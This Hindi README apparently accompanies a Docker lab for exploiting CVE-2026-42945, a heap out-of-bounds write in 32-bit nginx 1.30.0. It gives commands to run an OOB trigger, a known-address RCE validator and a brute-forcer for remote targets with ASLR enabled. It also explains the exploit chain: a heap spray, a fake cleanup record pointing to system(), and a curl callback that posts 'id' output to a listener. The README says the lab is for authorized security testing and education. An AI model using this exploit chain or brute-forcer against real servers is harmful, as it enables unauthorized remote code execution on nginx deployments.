
CVE-2026-42945 nginx 32-बिट शोषण लैब ASLR सक्षम
यह रिपॉजिटरी nginx 1.30.0 में CVE-2026-42945 का अध्ययन करने के लिए एक पुनरुत्पादक Docker लैब है। इसमें एक कमजोर 32-बिट लक्ष्य, एक आदिम ट्रिगर, एक लैब-सहायता प्राप्त ज्ञात-पता RCE वैलिडेटर, और एक बिना-निरीक्षण ब्रूट-फोर्स ड्राइवर शामिल है।
प्रूफ सीमा मायने रखती है:
exploit/trigger_oob.py हीप OOB राइट प्रिमिटिव को प्रदर्शित करता है।exploit/lab_known_address.py Docker में RCE तंत्र को साबित करता है, लेकिन यह लैब-सहायता प्राप्त है क्योंकि यह docker exec के माध्यम से /proc/<pid>/maps पढ़ता है।exploit/remote_bruteforce.py SSH, Docker, /proc, ptrace, या ज्ञात पतों का उपयोग नहीं करता है। यह SAFE हीप-पेज और libc-पेज उम्मीदवारों पर ब्रूट-फोर्स करता है और आउटबाउंड कॉलबैक को एकमात्र सफलता संकेत मानता है।रिमोट ब्रूट-फोर्स पथ अभी भी वर्तमान nginx मास्टर ASLR लेआउट पर निर्भर करता है। यदि स्प्रे पता आवश्यक URI-सुरक्षित बाइट वर्णमाला द्वारा प्रतिनिधित्व योग्य नहीं है, तो एक पूर्ण पास तब तक विफल हो जाएगा जब तक nginx मास्टर प्रक्रिया को पुनरारंभ या रीलोड नहीं किया जाता और ASLR को फिर से रोल नहीं किया जाता। ज्ञात-पता वैलिडेटर की तरह, पूर्ण RCE पथ को QEMU-इम्यूलेटेड Docker Desktop लक्ष्य के बजाय एक मूल x86 Linux Docker होस्ट पर चलाया जाना चाहिए।
/proc/<pid>/maps nginx वर्कर का वास्तविक 32-बिट पता लेआउट उजागर करता है। गैर-x86 होस्ट पर Docker Desktop लक्ष्य को qemu-i386 के तहत चला सकता है; यह OOB क्रैश को मान्य करने के लिए पर्याप्त है, लेकिन ज्ञात-पता RCE गणित के लिए नहीं।कमजोर 32-बिट nginx लैब बनाएं और शुरू करें:
docker compose up -d --build
curl http://127.0.0.1:19331/
नियंत्रित OOB राइट ट्रिगर करें:
python3 exploit/trigger_oob.py 127.0.0.1:19331 --bytes 8192 --char +
docker logs cve-2026-42945-nginx32 --tail 20
नियतिवादी Docker-केवल RCE वैलिडेटर चलाएं:
python3 exploit/lab_known_address.py --restart-until-safe
बिना-निरीक्षण ब्रूट-फोर्स ड्राइवर चलाएं:
python3 exploit/remote_bruteforce.py 127.0.0.1:19331 host.docker.internal \
--shuffle --seed 42945 \
--attempt-delay 0.02 \
--batch-size 5000 --batch-cooldown 10 \
--progress-every 1000
host.docker.internal का उपयोग कॉलबैक होस्ट के रूप में किया जाता है ताकि nginx वर्कर में एम्बेडेड कमांड id आउटपुट को एक्सप्लॉइट स्क्रिप्ट द्वारा शुरू किए गए लिसनर पर वापस POST कर सके। Compose फ़ाइल Linux Docker इंजनों के लिए इस नाम को मैप करती है।

Compose लक्ष्य nginx 1.30.0 को 32-बिट रिलीज़-शैली बाइनरी के रूप में बनाता है और इसे 127.0.0.1:19331 पर शुरू करता है। एक सादा GET / ok लौटाता है, जो साबित करता है कि शोषण शुरू होने से पहले लक्ष्य पहुंच योग्य है।

ट्रिगर + बाइट्स से बने एक कैप्चर किए गए URI सेगमेंट को कमजोर rewrite प्लस set $myvar $1 पथ के माध्यम से भेजता है। + को NGX_ESCAPE_ARGS द्वारा एस्केप किया जाता है, इसलिए कॉपी पास प्रत्येक एक-बाइट इनपुट के लिए तीन बाइट्स लिखता है। स्क्रिप्ट अनुरोध भेजने से पहले अपेक्षित ओवरफ्लो आकार प्रिंट करती है।

ज्ञात-पता वैलिडेटर जानबूझकर सहायता प्राप्त है। यह Docker कंटेनर से लाइव वर्कर हीप और libc मैपिंग पढ़ता है, नकली क्लीनअप हैंडलर पते की गणना करता है, समान वायर-लेवल एक्सप्लॉइट अनुक्रम भेजता है, और कॉलबैक की प्रतीक्षा करता है। uid=65534(nobody) आउटपुट nginx वर्कर द्वारा id निष्पादित करने का परिणाम है। यह स्क्रीनशॉट एक मूल x86 Docker रन से है; गैर-x86 Docker Desktop सेटअप पर स्क्रिप्ट इसके बजाय qemu-i386 मूल-होस्ट आवश्यकता के साथ रुक सकती है।

रिमोट ब्रूट-फोर्स स्क्रिप्ट लैब-केवल पता रीड को हटा देता है। यह SAFE हीप-पेज उम्मीदवारों और libc-पेज उम्मीदवारों की गणना करता है और केवल कॉलबैक को सफलता ओरेकल के रूप में उपयोग करता है। बिना कॉलबैक के एक पास को समाप्त करना प्रिमिटिव को गलत साबित नहीं करता है; इसका आमतौर पर मतलब है कि वर्तमान nginx मास्टर लेआउट इस पेलोड वर्णमाला के लिए अनुकूल नहीं है, या पास को ASLR को पुनः रोल करने के लिए मास्टर पुनरारंभ/रीलोड की आवश्यकता है।
एक्सप्लॉइट तीन समवर्ती अनुरोध भूमिकाओं का उपयोग करता है:
/spray एक अनुरोध बॉडी आवंटन को जीवित रखता है और nginx वर्कर हीप मेमोरी में एक नकली ngx_pool_cleanup_t रिकॉर्ड और कॉलबैक कमांड रखता है।/api/<payload> कमजोर rewrite स्क्रिप्ट तक पहुँचता है और अंतिम अनुरोध टर्मिनेटर में तब तक देरी करता है जब तक पीड़ित अनुरोध अपनी जगह पर नहीं आ जाता।/ आसन्न अनुरोध पूल बनाता है जिसके cleanup पॉइंटर को नियंत्रित OOB राइट द्वारा लक्षित किया जाता है।जब दूषित अनुरोध पूल नष्ट हो जाता है, nginx अधिलिखित क्लीनअप पॉइंटर का अनुसरण करता है। लैब RCE पथ में, नकली क्लीनअप हैंडलर system() की ओर इशारा करता है और इसका डेटा पॉइंटर इस ओर इशारा करता है:
id|curl -sm3 -d @- http://host.docker.internal:9876/rce
एक्सप्लॉइट लिसनर उस POST को एकमात्र RCE सफलता संकेत मानता है।
docker compose down
यह लैब अधिकृत सुरक्षा सत्यापन और शिक्षा के लिए है। इसे अलग-थलग रखें, लैब पोर्ट को अविश्वसनीय नेटवर्क पर उजागर न करें, और उन सिस्टमों के खिलाफ एक्सप्लॉइट न चलाएं जिनके आप मालिक नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है।